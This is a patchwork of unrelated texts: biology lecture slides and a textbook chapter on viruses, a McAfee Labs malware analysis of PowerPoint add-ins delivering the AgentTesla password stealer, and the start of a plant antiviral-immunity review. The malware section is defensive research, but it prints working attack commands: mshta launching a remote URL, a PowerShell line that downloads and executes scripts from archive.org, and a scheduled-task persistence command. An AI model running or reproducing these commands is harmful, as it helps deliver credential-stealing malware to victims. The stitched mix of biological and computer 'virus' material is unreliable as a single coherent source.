presentation on virus and antivirus

Copyright © 2008 Pearson Education, Inc., publishing as Pearson Benjamin Cummings

PowerPoint ® Lecture Presentations for Biology

Eighth Edition

Neil Campbell and Jane Reece

Lectures by Chris Romero, updated by Erin Barley with contributions from Joan Sharp

Copyright © 2008 Pearson Education Inc., publishing as Pearson Benjamin Cummings

Overview: A Borrowed Life

• Viruses called bacteriophages can infect and set in motion a genetic takeover of bacteria, such as Escherichia coli
• Viruses lead “a kind of borrowed life” between life-forms and chemicals
• The origins of molecular biology lie in early studies of viruses that infect bacteria

Concept 17.1: A virus consists of a nucleic acid surrounded by a protein coat

• Viruses were detected indirectly long before they were actually seen

The Discovery of Viruses: Scientific Inquiry

• Tobacco mosaic disease stunts growth of tobacco plants and gives their leaves a mosaic coloration
• In the late 1800s, researchers hypothesized that a particle smaller than bacteria caused the disease
• In 1935, Wendell Stanley confirmed this hypothesis by crystallizing the infectious particle, now known as tobacco mosaic virus (TMV)

Extracted sap

from tobacco

filter known

Rubbed filtered

sap on healthy

tobacco plants

Healthy plants

became infected

Structure of Viruses

• Viruses are not cells
• Viruses are very small infectious particles consisting of nucleic acid enclosed in a protein coat and, in some cases, a membranous envelope

Viral Genomes

• Viral genomes may consist of either
• Double- or single-stranded DNA, or
• Double- or single-stranded RNA
• Depending on its type of nucleic acid, a virus is called a DNA virus or an RNA virus

Capsids and Envelopes

• A capsid is the protein shell that encloses the viral genome
• Capsids are built from protein subunits called capsomeres
• A capsid can have various structures

Glycoprotein

18 × 250 nm

70–90 nm (diameter)

Glycoproteins

80–200 nm (diameter)

80 × 225 nm

(a) Tobacco mosaic

(b) Adenoviruses

(c) Influenza viruses

(d) Bacteriophage T4

• Some viruses have membranous envelopes that help them infect hosts
• These viral envelopes surround the capsids of influenza viruses and many other viruses found in animals
• Viral envelopes, which are derived from the host cell’s membrane, contain a combination of viral and host cell molecules
• Bacteriophages , also called phages , are viruses that infect bacteria
• They have the most complex capsids found among viruses
• Phages have an elongated capsid head that encloses their DNA
• A protein tail piece attaches the phage to the host and injects the phage DNA inside

Concept 17.2: Viruses reproduce only in host cells

• Viruses are obligate intracellular parasites, which means they can reproduce only within a host cell
• Each virus has a host range , a limited number of host cells that it can infect

General Features of Viral Reproductive Cycles

• Once a viral genome has entered a cell, the cell begins to manufacture viral proteins
• The virus makes use of host enzymes, ribosomes, tRNAs, amino acids, ATP, and other molecules
• Viral nucleic acid molecules and capsomeres spontaneously self-assemble into new viruses

Animation: Simplified Viral Reproductive Cycle

Transcription

and manufacture

of capsid proteins

Self-assembly of

new virus particles

and their exit from

Replication

Reproductive Cycles of Phages

• Phages are the best understood of all viruses
• Phages have two reproductive mechanisms: the lytic cycle and the lysogenic cycle

The Lytic Cycle

• The lytic cycle is a phage reproductive cycle that culminates in the death of the host cell
• The lytic cycle produces new phages and digests the host’s cell wall, releasing the progeny viruses
• A phage that reproduces only by the lytic cycle is called a virulent phage
• Bacteria have defenses against phages, including restriction enzymes that recognize and cut up certain phage DNA

Animation: Phage T4 Lytic Cycle

Fig. 19-5-1

Fig. 19-5-2

Entry of phage

degradation of

Fig. 19-5-3

Synthesis of viral

genomes and

Fig. 19-5-4

Phage assembly

Tail fibers

Fig. 19-5-5

The Lysogenic Cycle

• The lysogenic cycle replicates the phage genome without destroying the host
• The viral DNA molecule is incorporated into the host cell’s chromosome
• This integrated viral DNA is known as a prophage
• Every time the host divides, it copies the phage DNA and passes the copies to daughter cells

Animation: Phage Lambda Lysogenic and Lytic Cycles

• An environmental signal can trigger the virus genome to exit the bacterial chromosome and switch to the lytic mode
• Phages that use both the lytic and lysogenic cycles are called temperate phages

The phage injects its DNA.

circularizes.

Daughter cell

with prophage

Occasionally, a prophage

exits the bacterial

chromosome,

initiating a lytic cycle.

Cell divisions

population of

bacteria infected

with the prophage.

The cell lyses, releasing phages.

Lytic cycle

Lysogenic cycle

The bacterium reproduces,

copying the prophage and

transmitting it to daughter cells.

Phage DNA integrates into

the bacterial chromosome,

becoming a prophage.

New phage DNA and proteins

are synthesized and

assembled into phages.

Reproductive Cycles of Animal Viruses

• There are two key variables used to classify viruses that infect animals:
• DNA or RNA?
• Single-stranded or double-stranded?

Table 19-1a

Table 19-1b

Viral Envelopes

• Many viruses that infect animals have a membranous envelope
• Viral glycoproteins on the envelope bind to specific receptor molecules on the surface of a host cell
• Some viral envelopes are formed from the host cell’s plasma membrane as the viral capsids exit
• Other viral membranes form from the host’s nuclear envelope and are then replaced by an envelope made from Golgi apparatus membrane

Envelope (with

glycoproteins)

Capsid and viral genome

enter the cell

Viral genome (RNA)

genome (RNA)

RNA as Viral Genetic Material

• The broadest variety of RNA genomes is found in viruses that infect animals
• Retroviruses use reverse transcriptase to copy their RNA genome into DNA
• HIV (human immunodeficiency virus) is the retrovirus that causes AIDS (acquired immunodeficiency syndrome)

Viral envelope

transcriptase

Membrane of

white blood cell

HIV entering a cell

Chromosomal

New HIV leaving a cell

• The viral DNA that is integrated into the host genome is called a provirus
• Unlike a prophage, a provirus remains a permanent resident of the host cell
• The host’s RNA polymerase transcribes the proviral DNA into RNA molecules
• The RNA molecules function both as mRNA for synthesis of viral proteins and as genomes for new virus particles released from the cell

Animation: HIV Reproductive Cycle

Evolution of Viruses

• Viruses do not fit our definition of living organisms
• Since viruses can reproduce only within cells, they probably evolved as bits of cellular nucleic acid
• Candidates for the source of viral genomes are plasmids, circular DNA in bacteria and yeasts, and transposons, small mobile DNA segments
• Plasmids, transposons, and viruses are all mobile genetic elements
• Mimivirus, a double-stranded DNA virus, is the largest virus yet discovered
• There is controversy about whether this virus evolved before or after cells

Concept 17.3: Viruses, viroids, and prions are formidable pathogens in animals and plants

• Diseases caused by viral infections affect humans, agricultural crops, and livestock worldwide
• Smaller, less complex entities called viroids and prions also cause disease in plants and animals, respectively

Viral Diseases in Animals

• Viruses may damage or kill cells by causing the release of hydrolytic enzymes from lysosomes
• Some viruses cause infected cells to produce toxins that lead to disease symptoms
• Others have envelope proteins that are toxic
• Vaccines are harmless derivatives of pathogenic microbes that stimulate the immune system to mount defenses against the actual pathogen
• Vaccines can prevent certain viral illnesses
• Viral infections cannot be treated by antibiotics
• Antiviral drugs can help to treat, though not cure, viral infections

Emerging Viruses

• Emerging viruses are those that appear suddenly or suddenly come to the attention of scientists
• Severe acute respiratory syndrome (SARS) recently appeared in China
• Outbreaks of “new” viral diseases in humans are usually caused by existing viruses that expand their host territory
• Flu epidemics are caused by new strains of influenza virus to which people have little immunity
• Viral diseases in a small isolated population can emerge and become global
• New viral diseases can emerge when viruses spread from animals to humans
• Viral strains that jump species can exchange genetic information with other viruses to which humans have no immunity
• These strains can cause pandemics , global epidemics
• The “avian flu” is a virus that recently appeared in humans and originated in wild birds

(a) The 1918 flu pandemic

(b) Influenza A

(c) Vaccinating ducks

(b) Influenza A H5N1

Viral Diseases in Plants

• More than 2,000 types of viral diseases of plants are known and cause spots on leaves and fruits, stunted growth, and damaged flowers or roots
• Most plant viruses have an RNA genome

Fig. 19-10a

Fig. 19-10b

Fig. 19-10c

• Plant viruses spread disease in two major modes:
• Horizontal transmission, entering through damaged cell walls
• Vertical transmission, inheriting the virus from a parent

Viroids and Prions: The Simplest Infectious Agents

• Viroids are circular RNA molecules that infect plants and disrupt their growth
• Prions are slow-acting, virtually indestructible infectious proteins that cause brain diseases in mammals
• Prions propagate by converting normal proteins into the prion version
• Scrapie in sheep, mad cow disease, and Creutzfeldt-Jakob disease in humans are all caused by prions

Fig. 19-UN1

The phage attaches to a

host cell and injects its DNA

• Temperate phage only
• Genome integrates into bacterial

chromosome as prophage, which

(1) is replicated and passed on to

daughter cells and

(2) can be induced to leave the

chromosome and initiate a lytic cycle

• Virulent or temperate phage
• Destruction of host DNA
• Production of new phages
• Lysis of host cell causes release

of progeny phages

Fig. 19-UN2

Number of bacteria

Number of viruses

Fig. 19-UN3

You should now be able to:

• Explain how capsids and envelopes are formed
• Distinguish between the lytic and lysogenic reproductive cycles
• Explain why viruses are obligate intracellular parasites
• Describe the reproductive cycle of an HIV retrovirus
• Describe three processes that lead to the emergence of new diseases
• Describe viroids and prions

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8 Introduction to Viruses

Viruses are typically described as obligate intracellular parasites , acellular infectious agents that require the presence of a host cell in order to multiply. Viruses that have been found to infect all types of cells – humans, animals, plants, bacteria, yeast, archaea, protozoa…some scientists even claim they have found a virus that infects other viruses! But that is not going to happen without some cellular help.

Virus Characteristics

Viruses can be extremely simple in design, consisting of nucleic acid surrounded by a protein coat known as a capsid . The capsid is composed of smaller protein components referred to as capsomers . The capsid+genome combination is called a nucleocapsid .

Viruses can also possess additional components, with the most common being an additional membranous layer that surrounds the nucleocapsid, called an envelope . The envelope is actually acquired from the nuclear or plasma membrane of the infected host cell, and then modified with viral proteins called peplomers . Some viruses contain viral enzymes that are necessary for infection of a host cell and coded for within the viral genome. A complete virus, with all the components needed for host cell infection, is referred to as a virion .

Virus Genome

While cells contain double-stranded DNA for their genome, viruses are not limited to this form. While there are dsDNA viruses, there are also viruses with single-stranded DNA ( ssDNA ), double-stranded RNA ( dsRNA ), and single-stranded RNA ( ssRNA ). In this last category, the ssRNA can either positive-sense ( +ssRNA , meaning it can transcribe a message, like mRNA) or it can be negative-sense ( -ssRNA , indicating that it is complementary to mRNA). Some viruses even start with one form of nucleic acid in the nucleocapsid and then convert it to a different form during replication.

Virus Structure

Viral nucleocapsids come in two basic shapes, although the overall appearance of a virus can be altered by the presence of an envelope, if present. Helical viruses have an elongated tube-like structure, with the capsomers arranged helically around the coiled genome. Icosahedral viruses have a spherical shape, with icosahedral symmetry consisting of 20 triangular faces. The simplest icosahedral capsid has 3 capsomers per triangular face, resulting in 60 capsomers for the entire virus. Some viruses do not neatly fit into either of the two previous categories because they are so unusual in design or components, so there is a third category known as complex viruses . Examples include the poxvirus with a brick-shaped exterior and a complicated internal structure, as well as bacteriophage with tail fibers attached to an icosahedral head.

Virus Replication Cycle

While the replication cycle of viruses can vary from virus to virus, there is a general pattern that can be described, consisting of five steps:

• Attachment – the virion attaches to the correct host cell.
• Penetration or Viral Entry – the virus or viral nucleic acid gains entrance into the cell.
• Synthesis – the viral proteins and nucleic acid copies are manufactured by the cells’ machinery.
• Assembly – viruses are produced from the viral components.
• Release – newly formed virions are released from the cell.

Outside of their host cell, viruses are inert or metabolically inactive. Therefore, the encounter of a virion to an appropriate host cell is a random event. The attachment itself is highly specific, between molecules on the outside of the virus and receptors on the host cell surface. This accounts for the specificity of viruses to only infect particular cell types or particular hosts.

Penetration or Viral Entry

Many unenveloped (or naked ) viruses inject their nucleic acid into the host cell, leaving an empty capsid on the outside. This process is termed penetration and is common with bacteriophage, the viruses that infect bacteria. With the eukaryotic viruses, it is more likely for the entire capsid to gain entrance into the cell, with the capsid being removed in the cytoplasm. An unenveloped eukaryotic virus often gains entry via endocytosis , where the host cell is compelled to engulf the capsid resulting in an endocytic vesicle, allowing the virus access to the cell contents. An enveloped eukaryotic virus gains entrance for its nucleocapsid through membrane fusion , where the viral envelope fuses with the host cell membrane, pushing the nucleocapsid past the cell membrane. If the entire nucleocapsid is brought into the cell then there is an uncoating process to strip away the capsid and release the viral genome.

The synthesis stage is largely dictated by the type of viral genome, since genomes that differ from the cell’s dsDNA genome can involve intricate viral strategies for genome replication and protein synthesis. Viral specific enzymes, such as RNA-dependent RNA polymerases, might be necessary for the replication process to proceed. Protein production is tightly controlled, to insure that components are made at the right time in viral development.

The complexity of viral assembly depends upon the virus being made. The simplest virus has a capsid composed of 3 different types of proteins, which self-assembles with little difficulty. The most complex virus is composed of over 60 different proteins, which must all come together in a specific order. These viruses often employ multiple assembly lines to create the different viral structures and then utilize scaffolding proteins to put all the viral components together in an organized fashion.

The majority of viruses lyse their host cell at the end of replication, allowing all the newly formed virions to be released to the environment. Another possibility, common for enveloped viruses, is budding , where one virus is released from the cell at a time. The cell membrane is modified by the insertion of viral proteins, with the nucleocapsid pushing out through this modified portion of the membrane, allowing it to acquire an envelope.

Bacteriophage

Viruses that infect bacteria are known as bacteriophage or phage . A virulent phage is one that always lyses the host cell at the end of replication, after following the five steps of replication described above. This is called the lytic cycle of replication.

There are also temperate phage , viruses that have two options regarding their replication. Option 1 is to mimic a virulent phage, following the five steps of replication and lysing the host cell at the end, referred to as the lytic cycle. But temperate phage differ from virulent phage in that they have another choice: Option 2, where they remain within the host cell without destroying it. This process is known as lysogeny or the lysogenic cycle of replication.

A phage employing lysogeny still undergoes the first two steps of a typical replication cycle, attachment and penetration. Once the viral DNA has been inserted into the cell it integrates with the host DNA, forming a prophage . The infected bacterium is referred to as a lysogen or lysogenic bacterium . In this state, the virus enjoys a stable relationship with its host, where it does not interfere with host cell metabolism or reproduction. The host cell enjoys immunity from reinfection from the same virus.

Exposure of the host cell to stressful conditions (i.e. UV irradiation) causes induction , where the viral DNA excises from the host cell DNA. This event triggers the remaining steps of the lytic cycle, synthesis, maturation, and release, leading to lysis of the host cell and release of newly formed virions.

So, what dictates the replication type that will be used by a temperate phage? If there are plenty of host cells around, it is likely that a temperate phage will engage in the lytic cycle of replication, leading to a large increase in viral production. If host cells are scarce, a temperate phage is more likely to enter lysogeny, allowing for viral survival until host cell numbers increase. The same is true if the number of phage in an environment greatly outnumber the host cells, since lysogeny would allow for host cells numbers to rebound, ensuring long term viral survival.

Lysogens can experience a benefit from lysogeny as well, since it can result in lysogenic conversion , a situation where the development of a prophage leads to a change in the host’s phenotype. One of the best examples of this is for the bacterium Corynebacterium diphtheriae , the causative agent of diphtheria. The diphtheria toxin that causes the disease is encoded within the phage genome, so only C. diphtheriae lysogens cause diphtheria.

Eukaryotic Viruses

Eukaryotic viruses can cause one of four different outcomes for their host cell. The most common outcome is host cell lysis, resulting from a virulent infection (essentially the lytic cycle of replication seen in phage). Some viruses can cause a latent infection , inserting their viral DNA into the host cell genome, allowing them to co-exist peacefully with their host cells for long periods of time (much like a temperate phage during lysogeny). Some enveloped eukaryotic viruses can also be released one at a time from an infected host cell, in a type of budding process, causing a persistent infection . Lastly, certain eukaryotic viruses can cause the host cell to transform into a malignant or cancerous cell, a mechanism known as transformation .

Viruses and Cancer

There are many different causes of cancer, or unregulated cell growth and reproduction. Some known causes include exposure to certain chemicals or UV light. There are also certain viruses that have a known associated with the development of cancer. Such viruses are referred to as oncoviruses . Oncoviruses can cause cancer by producing proteins that bind to host proteins known as tumor suppressor proteins , which function to regulate cell growth and to initiate programmed cell death, if needed. If the tumor suppressor proteins are inactivated by viral proteins then cells grow out of control, leading to the development of tumors and metastasis, where the cells spread throughout the body.

virus, obligate intracellular parasite, capsid, bacteriophage, capsomere, nucleocapsid, envelope, peplomer, virion, dsDNA, ssDNA, dsRNA, +ssRNA, -ssRNA, helical viruses, icosahedral viruses, complex viruses, attachment, penetration, viral entry, synthesis, assembly, release, naked virus, endocytosis, membrane fusion, budding, bacteriophage, phage, virulent phage, lytic cycle, temperate phage, lysogeny, lysogenic cycle, prophage, lysogen, lysogenic bacterium, induction, lysogenic conversion, virulent infection, latent infection, persistent infection, transformation, oncovirus, tumor suppressor proteins.

Study Questions

• What are the general properties of a virus?
• What is the size range of viruses? How do they compare, size-wise, to bacteria?
• What is the general structure of viruses? What are the different components?
• What viral shapes exist?
• How do envelopes and enzymes relate to viruses?
• What types of viral genomes exist?
• What are the 5 basic steps of viral replication? What happens at each step? How do bacterial/archaeal viruses differ from eukaryotic viruses, in regards to replication details?
• What are the 2 types of viral infection found in Bacteria/Archaea ? What are the specific terms associated with viral infection of bacterial/archaeal cells?
• What are the 4 types of viral infection found in eukaryotes?
• How do some viruses cause cancer?

Exploratory Questions (OPTIONAL)

• What is the largest bacterium or archaean ever discovered? What is the smallest eukaryote ever discovered?

General Microbiology Copyright © 2019 by Linda Bruslind is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License , except where otherwise noted.

Blog Other Blogs McAfee Labs Malicious PowerPoint Documents on the Rise

McAfee Labs

Malicious PowerPoint Documents on the Rise

Sep 21, 2021

Authored by Anuradha M

McAfee Labs have observed a new phishing campaign that utilizes macro capabilities available in Microsoft PowerPoint. In this campaign, the spam email comes with a PowerPoint file as an attachment. Upon opening the malicious attachment, the VBA macro executes to deliver variants of AgentTesla which is a well-known password stealer. These spam emails purport to be related to financial transactions.  

AgentTesla is a RAT (Remote Access Trojan) malware that   has   been active since 2014. Attackers use this RAT as MASS(Malware-As-A-Service) to steal user credentials and other information from victims through screenshots, keylogging, and clipboard captures. Its modus operandi is predominantly via phishing campaigns.  

During Q2, 2021, we have seen an increase in PowerPoint malware.  

In this  campaign ,  the  spam email  contains  an   attach ed   file with  a   . ppam   extension  which is a PowerPoint   file  containing   VBA   code . The  sentiment  used   was finance-related   themes such as :  “ New PO300093 Order ”  as shown in Figure   2 . The attachment filename is  “ 300093. p df.ppam ”.  

PPAM file:  

This file type was introduced in 2007 with the release of Microsoft Office 2007. It is a PowerPoint macro-enabled Open XML add-in file. It contains components that add additional functionality, including extra commands, custom macros, and new tools for extending default PowerPoint functions.   

Since PowerPoint supports ‘add-ins’ developed by third parties to add new features, attackers abuse this feature to  automatically execute macros .  

Technical Analysis:  

Once the victim opens the  “.ppam” file, a security notice warning pop-up as shown in Figure 3 to alert the user about the presence of macro.

From Figure   4 ,   you can see  that t h e Add-in feature  of the  PowerPoint   can be identified from the  content of [Content_Types].xml file which will  be  present inside the  ppam  file.  

 The PPAM file contains the following files and directories which can be seen upon extraction.  

• _rels\.rels  
• [Content_Types].xml  
• ppt\rels\presentation.xml.rels  
• ppt\asjdaaasdasdsdaasdsdasasdasddoasddasasddasasdsasdjasddasdoasjdasasddoajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bin – Malicious file  
• ppt\presentation.xml  

Once the victim enables the macro, the add-in gets installed silently without user knowledge, which can be seen in Figure 5. On seeing that there is no content and no slide in the PowerPoint, the user will close the file but, in the backend, macro code gets executed to initiate the malicious activity.  

As you can see in Figure   6 , the macro is executed within the  add-in  auto_ open ( ) event   i.e. ., macro  is fired immediately  after the presentation is opened and the add-in is loaded.  

The PowerPoint macro code on execution launches an URL by invoking mshta.exe ( Microsoft HTML Application) which is shown in Figure 7.  The mshta process is launched by Powerpoint by calling the  CreateProcessA()   API.  

Below are the parameters passed to CreateProcessA() API:  

kernel32.CreateProcessA(00000000,mshta  hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh ,00000000,00000000,00000001,00000020,00000000,00000000,D ,  

Below is the command line parameter of mshta:  

mshta   hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh  

The URL  hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh   is redirected to  “hxxps://p8hj[.]blogspot[.]com/p/27.html”   but it didn’t get any response from “27.html” at the time of analysis.  

Later mshta.exe spawns powershell.exe as a child process.  

Below is the command line parameters of PowerShell:  

powershell.exe - ” C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” i’E’x(iwr(‘ hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt ‘) -useB);i’E’x(iwr(‘ hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt ‘) -useB);i’E’x(iwr(‘ hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt ‘) -useB);  

PowerShell downloads and executed script files from the above-mentioned   URLs.   

The below Figure 8 shows the content of the first url – “ hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt”:  

There are two binary files stored in two huge arrays inside each downloaded PowerShell file. The first file is an EXE file that acts as a loader and the second file is a DLL file, which is a variant of AgentTesla.  PowerShell fetches the AgentTesla payload from the URLs mentioned in the command line, decodes it, and launches MSBuild.exe  to inject the payload within itself.  

Schedule Tasks:  

To achieve persistence, it creates a  scheduled task in  “Task Scheduler”  and drops a task file under  C:\windows\system32\SECOTAKSA  to make the entire campaign work effectively.    

The new task name is  “ SECOTAKSA ”. Its action is to execute the command  “ mshta   hxxp://   //1230948%[email protected]/p/27.html”   and it’s called every 80 minutes.    

Below is the command line parameters of schtasks:  

schtasks.exe -  “C:\Windows\System32\schtasks.exe” /create /sc MINUTE /mo 80 /tn “”SECOTAKSA”” /F /tr “”\””MsHtA””\”” hxxp://1230948%[email protected]/p/27.html\ “”  

Infection Chain:  

Process   Tree:  

Mitigation:  

McAfee’s Endpoint Security (ENS) and Windows Systems Security (WSS) product have   DAT  coverage for this variant of malware.  

This malicious PPAM document with SHA256: fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 is detected as “ W97M/Downloader . dkw ”.   

The PPAM document is also blocked by the  AMSI feature  in ENS as  AMSI-FKN!  

Additionally, the Exploit Prevention  feature in McAfee’s Endpoint Security product blocks the infection chain of this malware by adding the below expert rule so as to protect our customers from this malicious attack.  

Expert Rule authored based on the below infection chain:  

POWERPNT.EXE –> mshta.exe   

Expert Rule:  

  Process {  

    Include OBJECT_NAME { -v “powerpnt.exe” }  

  Target {  

    Match PROCESS {  

       Include OBJECT_NAME { -v “mshta.exe” }  

       Include PROCESS_CMD_LINE { -v “**http**” }  

       Include -access “CREATE”  

hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh  

hxxp://   //1230948%[email protected]/p/27.html  

hxxps://p8hj[.]blogspot[.]com/p/27.html  

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt   

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt   

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt  

EML files:  

72e910652ad2eb992c955382d8ad61020c0e527b1595619f9c48bf66cc7d15d3  

0afd443dedda44cdd7bd4b91341bd87ab1be8d3911d0f1554f45bd7935d3a8d0  

fd887fc4787178a97b39753896c556fff9291b6d8c859cdd75027d3611292253  

38188d5876e17ea620bbc9a30a24a533515c8c2ea44de23261558bb4cad0f8cb  

PPAM files:  

fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182  

6c45bd6b729d85565948d4f4deb87c8668dcf2b26e3d995ebc1dae1c237b67c3  

9df84ffcf27d5dea1c5178d03a2aa9c3fb829351e56aab9a062f03dbf23ed19b  

ad9eeff86d7e596168d86e3189d87e63bbb8f56c85bc9d685f154100056593bd  

c22313f7e12791be0e5f62e40724ed0d75352ada3227c4ae03a62d6d4a0efe2d  

Extracted AgentTesla files:  

71b878adf78da89dd9aa5a14592a5e5da50fcbfbc646f1131800d02f8d2d3e99  

90674a2a4c31a65afc7dc986bae5da45342e2d6a20159c01587a8e0494c87371  

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• v.119(5); 2017 Mar

Plant immunity against viruses: antiviral immune receptors in focus

Iara p. calil.

Departamento de Bioquímica e Biologia Molecular/National Institute of Science and Technology in Plant–Pest Interactions/Bioagro, Universidade Federal de Viçosa, 36570.000, Viçosa, MG, Brazil

Elizabeth P. B. Fontes

Background Among the environmental limitations that affect plant growth, viruses cause major crop losses worldwide and represent serious threats to food security. Significant advances in the field of plant–virus interactions have led to an expansion of potential strategies for genetically engineered resistance in crops during recent years. Nevertheless, the evolution of viral virulence represents a constant challenge in agriculture that has led to a continuing interest in the molecular mechanisms of plant–virus interactions that affect disease or resistance.

Scope and Conclusion This review summarizes the molecular mechanisms of the antiviral immune system in plants and the latest breakthroughs reported in plant defence against viruses. Particular attention is given to the immune receptors and transduction pathways in antiviral innate immunity. Plants counteract viral infection with a sophisticated innate immune system that resembles the non-viral pathogenic system, which is broadly divided into pathogen-associated molecular pattern (PAMP)-triggered immunity and effector-triggered immunity. An additional recently uncovered virus-specific defence mechanism relies on host translation suppression mediated by a transmembrane immune receptor. In all cases, the recognition of the virus by the plant during infection is central for the activation of these innate defences, and, conversely, the detection of host plants enables the virus to activate virulence strategies. Plants also circumvent viral infection through RNA interference mechanisms by utilizing small RNAs, which are often suppressed by co-evolving virus suppressors. Additionally, plants defend themselves against viruses through hormone-mediated defences and activation of the ubiquitin–26S proteasome system (UPS), which alternatively impairs and facilitates viral infection. Therefore, plant defence and virulence strategies co-evolve and co-exist; hence, disease development is largely dependent on the extent and rate at which these opposing signals emerge in host and non-host interactions. A deeper understanding of plant antiviral immunity may facilitate innovative biotechnological, genetic and breeding approaches for crop protection and improvement.

INTRODUCTION

As obligate parasites with limited viral genome-encoded functions, plant viruses extensively use the host intracellular machinery for replication of their genomes, expression of viral genes and establishment of infection. As a consequence, they interact profoundly with the host during their biological cycle. In contrast to animal viruses, which use host surface receptors and endocytic activities to invade host cells, plant viruses are delivered into the cells by insect vectors or through opportunistic mechanical wounds. Once inside the cells, the viral particles, which minimally consist of nucleic acids encapsulated by the coat protein or capsid, are disassembled to release the viral genome and to initiate the infectious cycle, which includes expression and replication of the viral genome, cell to cell and long-distance movement of the viral particles and/or viral genome and vector-mediated transmission to new hosts. The extensive interactions between plant viruses and their hosts during infection lead to the physiological disorders responsible for plant diseases, which represent major constraints to agricultural productivity worldwide.

Plants employ multiple defence mechanisms to restrict viral replication and movement, such as gene silencing, immune receptor signalling, hormone-mediated defence, protein degradation and regulation of metabolism ( Incarbone and Dunoyer, 2013 ). In virus–plant interactions, one of the major mechanisms for plant antiviral immunity relies on RNA silencing, which is often suppressed by co-evolving viral suppressors, thus enhancing viral pathogenicity in susceptible hosts. In addition, plants use nucleotide-binding leucine-rich repeat (NB-LRR) domain-containing resistance proteins, which recognize viral effectors and activate effector-triggered immunity (ETI) in a defence mechanism similar to that employed in non-viral infections ( Mandadi and Scholthof, 2013 ). Plants have also been found to use innate pathogen-associated molecular pattern (PAMP)-triggered immunity (PTI) to limit viral infection ( Kørner et al. , 2013 ). More recently, a transmembrane immune receptor, which is structurally similar to co-receptor-like kinases involved in PTI, has been shown to activate host translation suppression to fight DNA viruses, a newly discovered mechanism for antiviral defences in plants ( Zorzatto et al. , 2015 ).

Viral infections can also lead to hormonal disruption, which manifests as simultaneous induction of many antagonistic hormones and triggering of defence responses ( Alazem and Lin, 2015 ). Virus–host interactions can aberrantly regulate phytohormone pathways, leading to disease development and hormone-mediated defensive responses. Plants employ the ubiquitin–proteasome pathway (UPS) as an antiviral defence strategy and, concomitantly, viruses have been reported to exploit the UPS to induce, inhibit or modify ubiquitin (Ub)-related host proteins ( Alcaide-Loridan and Jupin, 2012 ). In this review, we summarize recent reports on host–virus interactions, highlighting mechanisms adopted by plants to overcome viral infections in a continuous coevolutionary race for dominance. A major focus is antiviral immune receptors and their signal transduction pathways.

PLANT INNATE IMMUNE SYSTEM: DETECTION AND SIGNALLING IN ANTIVIRAL DEFENCES

Effector-triggered immunity: intracellular immune receptor r (resistance protein) in virus–plant interactions.

The plant innate immune pathway employs a two-level detection system, which involves plasma membrane-localized and intracellular immune receptors, to activate defences against invaders ( Dodds and Rathjen, 2010 ; Zipfel, 2014 ). In the first level of defence, PTI is mediated by surface-localized pattern recognition receptors (PRRs), which detect and recognize PAMPs ( Böhm et al. , 2014 ; Macho and Zipfel, 2014 ). The second level, ETI, involves intracellular immune receptors, designated as resistance proteins (R), which recognize – directly or indirectly – virulence effectors secreted by the pathogens into the host intracellular environment, thereby activating a defence response ( Jones and Dangl, 2006 ) ( Fig. 1 ).

Antiviral innate immunity in plants. (A) PAMP-triggered immunity (PTI) and effector-triggered immunity (ETI) in virus–host interactions. During viral infection, the replication and expression of the viral genome lead to the accumulation of virus-derived nucleic acids with features of pathogen-associated molecular patterns (PAMPs), which may be recognized by host pattern recognition receptors (PRRs) that, in turn, heterooligomerize with co-receptors, such as BAK1 and BKK1, to trigger PTI. Alternatively, PTI may be activated upon PRR recognition of damage-associated molecular patterns (DAMPs), which are induced by infection and delivered to the apoplast by the host cells via the secretory apparatus. In a successful infection, expression of the viral genome results in accumulation of virus effectors to suppress PTI, leading to disease. In resistant genotypes, however, the resistance genes specifically recognize, directly or indirectly, the viral effectors, called avirulence (Avr) factors, activating ETI and conferring resistance. (B) The translational control arm of the NIK1-mediated signalling in antiviral innate immunity. Virus infection-induced oligomerization of NIK1 promotes transphosphorylation at the crucial Thr474, activating the kinase. Alternatively, NIK1 interacts with an unknown ligand-binding LRR-RLK in a stimulus-dependent manner. Although viral infection triggers NIK1-mediated antiviral signalling, the molecular basis of this elicitation is unknown and may be either intracellular virus-derived nucleic acid PAMPs or endogenous DAMPs released in the apoplasts by the host cells. Upon activation, NIK1 indirectly mediates the RPL10 phosphorylation, promoting its translocation to the nucleus, where it interacts with LIMYB to down-regulate the expression of translation-related genes. Therefore, the propagation of the antiviral signal culminates with suppression of host global protein synthesis, which also impairs translation of viral mRNA, as a defence mechanism. In begomovirus–host compatible interactions, the binding of begomovirus NSP to the NIK1 kinase domain (A-loop) inhibits autophosphorylation at Thr474, thereby preventing receptor kinase activation and RPL10 phosphorylation, overcoming this layer of defence. The viral single-stranded DNA replicates via double-stranded DNA intermediates that are transcribed in the nucleus of plant-infected cells. NSP binds to the nascent viral DNA and facilitates its movement to the cytoplasm and acts in concert with the classical movement protein MP to transport the viral DNA to the adjacent, uninfected cells.

